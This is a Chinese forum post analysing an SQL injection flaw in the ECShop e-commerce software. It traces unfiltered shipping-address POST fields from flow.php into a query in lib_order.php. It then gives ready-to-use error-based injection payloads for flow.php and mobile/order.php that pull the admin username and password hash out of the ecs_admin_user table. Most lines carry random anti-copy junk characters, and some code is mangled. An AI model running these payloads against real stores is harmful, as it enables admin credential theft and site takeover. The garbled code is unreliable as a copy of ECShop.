前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。; l# D$ X0 R$ I, F) h
) x ^6 F/ q) U& v' ^1 m N
漏洞关键文件:
+ E, |* W- N: k$ k
- b3 P' D0 U# \, F /includes/lib_order.php
* A4 X# q! {! O7 k# X) |& s0 }& [1 H3 y$ P. S
关键函数:
9 Q1 Z. p$ I, N9 X/ C! k# ~2 e
# C# i j% v* ~2 w3 Z2 Z) J
9 m2 t+ A8 \/ h0 S, x
V" E+ ~9 X3 y! l$ j( D3 n- ]: E+ w01 function available_shipping_list($region_id_list) 6 Y3 r; Y5 C0 W/ b" h; S
: P+ q8 G* f; T02 {
0 a$ q& F3 v# e/ P4 h2 w& A# u# x9 K4 S S. M& o* X
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
5 f9 z3 Q3 _, h, ^0 O7 Q+ {" G( ^8 @ t1 x1 b" N
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
3 A; N. y( R& l( C0 g$ |5 {2 z& o4 a B0 Y3 o P& T
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . $ J5 e6 G, O+ j0 A+ V
7 j5 w; j4 _. v1 n! D* |; B
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
% \6 g8 x& B& F2 F- k3 m4 u. n9 {
# x A$ M _# {07 $GLOBALS['ecs']->table('area_region') . ' AS r '. + e" y2 |1 l E; {% I- `. k- N+ C
5 W( [( m- g/ y) N, u: E t08 'WHERE r.region_id ' . db_create_in($region_id_list) .
# {9 R8 H* @7 P' k4 Y# U7 s
]; @$ |7 }( z( ?: {09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; " K: R" d* E' g* y- H
* G+ c+ h8 l0 j10 5 R0 o" h: B, r
1 C" s( I+ t5 C6 ]8 n11 return $GLOBALS['db']->getAll($sql); : H; V) i# m3 A( e) m
8 j8 k0 ~6 ]- H5 u1 d, R
12 }
3 x" Y' W# L% c- f) L5 W
, z0 W0 a" y( H. ?显然对传入的参数没有任何过滤就带入了查询语句。4 ]0 U9 ?9 ~. Z/ }7 q$ h* g
1 A/ w+ b& E; J$ K! E0 `
下面我们追踪这个函数在flow.php中:
8 w+ V( ?0 o3 i5 E1 ^0 |9 j1 o* u 第531行:
: r! G( c+ j- z8 Y7 K: N- I4 \/ g# {$ i! x4 g0 e4 N
1 $shipping_list = available_shipping_list($region); 4 V* Q, }8 b) w) [4 Y
- h2 w C4 C1 X) E5 Z+ Y F
8 I- o0 v1 J- J3 [5 E4 S5 ~1 a/ ^ x* L' X
0 }) i6 X8 U1 n, s6 A: x5 Y8 `8 r+ c* r
再对传入变量进行追踪:4 B! L- `+ p* a* |. o; k
* H) T. M: F# d第530行: 7 O# R; w4 k7 x3 D5 L8 l8 E
8 Y& m3 k* D5 E7 y
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 4 t) u- y: a5 A0 V1 r% s
/ \/ V( |' `7 N1 B5 ]
# b9 Y) V" K1 d9 p h4 t/ U1 e) ~* C
6 Q* o5 A4 n z5 o
7 ~" Q+ {# `# W/ Z第473行:
/ O( u( {/ k. ]$ R& T5 |: ?
, N8 s" ?: p5 O g n1 $consignee = get_consignee($_SESSION['user_id']);
$ i$ T. w! m" g* K( G9 n; C! B6 g& U8 N6 q6 B6 Q0 i
到了一个关键函数:
0 k3 b) G- g7 d1 H! @ d, I8 Z+ R1 j! z/ b _! J4 T% y
/includes/lib_order.php1 ]3 N) I2 _" O, Z" n! P5 Q& W/ G8 @
* P& G- n8 W( C) r7 u5 z: p6 N+ d3 v ) ?& v# ]& B! Y2 T' M
) i" V& X+ N* H/ _
+ [# R9 `6 ]4 i5 V! f! c
/ d6 r- ~( i; \5 h9 x, H' m K01 function get_consignee($user_id) 4 _) T# n7 V& }3 H
P- X' p ^ |5 q! e
02 { + [, W. P0 U4 p" Z8 E. g
- `9 T+ ^) V% g& {
03 if (isset($_SESSION['flow_consignee'])) ! t! [+ o ~- i: U- Y
0 W7 K7 J* y# {0 [6 e( [: ^5 c$ ?
04 { . T7 Y: `4 |2 G- {& ]/ l3 [" w
' ?! E5 ]- N+ t- ?$ N( P: C6 O$ k: K
05 /* 如果存在session,则直接返回session中的收货人信息 */
" q# g, p2 m% k0 C$ ?& F$ [& x( y
" l: O) ^. W G! \- S- _06
2 b# Q# K' o N% \- S1 @) D% T! i' y
07 return $_SESSION['flow_consignee'];
) s& s8 z+ s1 S- q+ E- v& ?0 R8 }/ j0 K5 z; m% I6 C, m, n% O
08 }
' _4 d, F; H n4 v# y; w2 M* s$ X
09 else 4 U# q% ~3 A: o1 Y
9 Z4 P+ z' P2 x5 t2 i! A
10 { ! B; j- a$ q6 n; [) f# V5 g4 Z- y
/ E: q- K$ e. T* C& k0 z* Z) u0 o/ l
11 /* 如果不存在,则取得用户的默认收货人信息 */
; j5 ~, P; e% n6 Q) L. \5 h Q8 o( Q. C# o1 w$ @& A" [/ \
12 $arr = array(); 3 W; l8 a* v8 \# [, C1 t" g
_ `1 K' d" |4 [3 G
13
# N0 L8 R# p8 C
1 q1 Q! ]' F! ]8 W. M1 E' h* x) M' a14 if ($user_id > 0)
2 f, q+ Q- @4 }- a( W' t: B# V2 {2 l9 H2 A7 K! \) _2 l- Q
15 { 1 }; `: K/ K$ v; h5 I
( P$ o- e- _- ?% \# x6 g
16 /* 取默认地址 */ + ?: _9 I# W* c0 q0 V! M9 q- Y4 c) Z
& T: r. e6 p d$ P, @1 n
17 $sql = "SELECT ua.*". . E& p2 @* f3 C7 }4 n8 E
' c8 [- b3 a, l4 y, {& Y% ?18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. $ E, ?# b( c1 `7 K
* d& Y4 J4 A" U! l0 w19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
2 {* D& d; h3 A8 l! W1 |
# g6 D. C" n: E6 h9 J7 W" D20 - p/ F$ `5 q, C% x7 r
0 z% K. V. S, R8 P7 \; D
21 $arr = $GLOBALS['db']->getRow($sql); ; [' V* Z- P r7 L) S
' u2 e; L! C/ A- g& U! s% k+ |" M: j! p22 } # Y* i( T0 v, M8 D8 \0 P/ m1 k
5 l! j! [7 _$ [& a2 k0 x23 $ y. B: Z, Y" y8 W1 w$ E2 D
8 _' i' t! N) B( Y- t& b24 return $arr; $ X8 ~, [) e3 o
& m$ w1 `; q1 D, E- p- N$ Y
25 }
- w+ @" G. x) y# {
- n6 |9 G4 T6 q F, K2 d+ {+ v26 } ; `; n* K" D- g6 Z9 V" H
% a2 w7 M, q/ T/ `6 V显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
$ ]6 L: F. \$ p7 e4 y$ E
9 W# A* L! c7 K2 N9 R" f7 i : w: d. D/ n& n( e
/ m# C1 w) Y4 o
关键点:* M& l9 O/ O. N( Q2 k# z' l7 s) R
3 F* p0 s6 v0 l! z6 C3 Z7 g第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
* g/ [. A2 h1 S2 [- B( L
& s* e0 a: R1 K. J1 j这里对传入参数反转义存入$_SESSION中。
+ ?4 f& p4 ?9 R- j/ }, M# a c0 q
0 N" y2 r" J5 ~4 W- b, M3 o0 ], g, {( X9 h X5 ]7 r
然后看下:1 `' m2 N# m4 [6 C0 H0 z0 O
; c0 V5 S" |3 Z4 X
) _3 z+ N/ W3 S3 D" K/ o, z5 [
. a' z- G q# w! D" A Z
5 e5 z% O( C7 T( R: T0 ^
1 F) l, D, n" y: Z' o7 r01 $consignee = array( ) n2 E& J1 g3 G1 X6 p
0 [% B: t. e# J* \" \9 t! l" T02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), 7 p$ k- a) |9 [+ L- s. u* I
4 p6 M& G% P, s- j0 L; B03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), * v' a% u. J" r) L0 S
$ H# z5 B5 g; Z5 J" i& P( }, V3 R0 N04 'country' => empty($_POST['country']) ? '' _POST['country'],
$ E5 h. R2 W1 M2 ?' R/ S. S) |; R8 j- v& m/ f7 M' g/ o! o. l
05 'province' => empty($_POST['province']) ? '' _POST['province'],
; f* i& x6 U$ f4 R( x7 E( k8 d- e/ a$ E1 Y$ ~. o5 b
06 'city' => empty($_POST['city']) ? '' _POST['city'], ; C8 Y, Z) P* ?- E1 p
8 M7 @+ a: F4 I: O; G0 Q6 A07 'district' => empty($_POST['district']) ? '' _POST['district'], 4 M6 @1 I$ P# L
2 t1 q# Q/ T" f08 'email' => empty($_POST['email']) ? '' _POST['email'], ; c# q3 Q* `: ]" q
8 h8 g- o" b; V3 I8 K P09 'address' => empty($_POST['address']) ? '' _POST['address'],
3 `7 E0 N( ]1 X2 T( h# |& j' D
. `' T% \) |5 d1 p4 h% e; I10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 5 u7 ]6 P: ~/ n F y0 E% U
k6 }) Z' F0 Z- u8 \, g+ \* @11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
9 ~. `" z3 [& n2 Y; \/ l( W& B- {( B
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), - H. N; n$ A& v& B0 d
7 V1 y: F( X5 L13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
! Z4 f- L P: ]6 ~5 X1 Z' }' w& w* R4 p# w. _& V5 w4 V. I) Y+ c3 x
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], 4 Y% D2 j3 r$ I( H
. f9 w1 V* m8 _5 @. n15 );
/ [0 F6 |. n" r3 m8 ^$ o- B$ v/ ^/ n- c
好了注入就这样出现了。" d3 z% f( I- M! g" b* P
8 M8 ]1 j- t, w K$ A==================/ _" k' r0 p# b* Q s o' f+ ]
t# q# l5 a! r) `! B! }* T8 r0 R' W
注入测试:
8 p7 [9 T+ {7 z, a+ V2 e! N H6 g; ]3 ~( q
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
2 ]& |% f. ~; q$ r- c% K
; `8 y% E0 j& B3 G7 U测试程序:ECShop_V2.7.3_UTF8_release1106# s F" {% H/ _9 b4 N
: V5 [; U( J9 \* m3 h
$ `" w0 f& A ^7 V, o1 S
- Y! H: r4 h; ^/ a& z! J4 i
1.首先需要点击一个商品加入购物车3 x# p! R. B! f; q; T: w
) p9 x! Y, ~4 i, r0 Y
2.注册一个会员帐号
! B, W" [ l7 y* v0 K! }# j- ?. {/ r6 y
3.post提交数据
0 @" W8 D0 Y, p; Z* i& A
* [! Q, |* `1 ]0 y& m' o ~4 D }3 }
/ P. q" X( l; S/ a7 L- }5 l! F8 d5 I
1 http://127.0.0.1/ecshop/flow.php
: }/ S( d% N8 V, a9 h% e; H. Y
) q4 w: b* U3 J, G: t8 U9 f0 B; U, F2
, o$ D( S; e( N( A( f, \$ L* k
5 m( B3 C1 Y2 M0 c1 [3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= + j; o j3 l2 I7 e4 R- X, [
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
7 X6 M: |7 V. f* D9 Q' w) d( j
- m9 T. w1 _( M/ |$ a' G9 R- p' L! N4 [我们搜寻关键函数function available_shipping_list()1 S0 _7 b+ o2 c& f( v
$ ]7 H4 X! [# q5 o( X/ [/ C2 D, L% R
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
/ {! Z# h( ?2 E( [ [/ D
7 A+ M1 ^0 V/ P8 U. ]% V' c! y利用exp:8 }& l4 e$ f' x: W$ P3 P3 z
) P! F. G# A+ O% H: d5 j, k7 e1.点击一个商品,点击购买商标
5 u- t$ a7 J8 ~, n: h' |* Q
4 l1 w% o9 ?. F, r2 W( o: ^2.登录会员帐号. V. q# Y% t: }0 A2 w
( O6 x3 B& x6 W: x3.post提交:6 V8 X h3 X" C; C
5 ~; v2 Z7 B5 Nhttp://127.0.0.1/ecshop/mobile/order.php
5 U* [5 T, |; T. w5 g/ h* D! T% f
* j. e, U! k; u3 d ! _9 S" m9 r5 Q9 `1 @
O& j* _1 S6 M; D7 S
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=: h; i1 `) Q! ~ P( R) c, w
v+ q: d! H" ~. Q& L* r7 d) T+ G |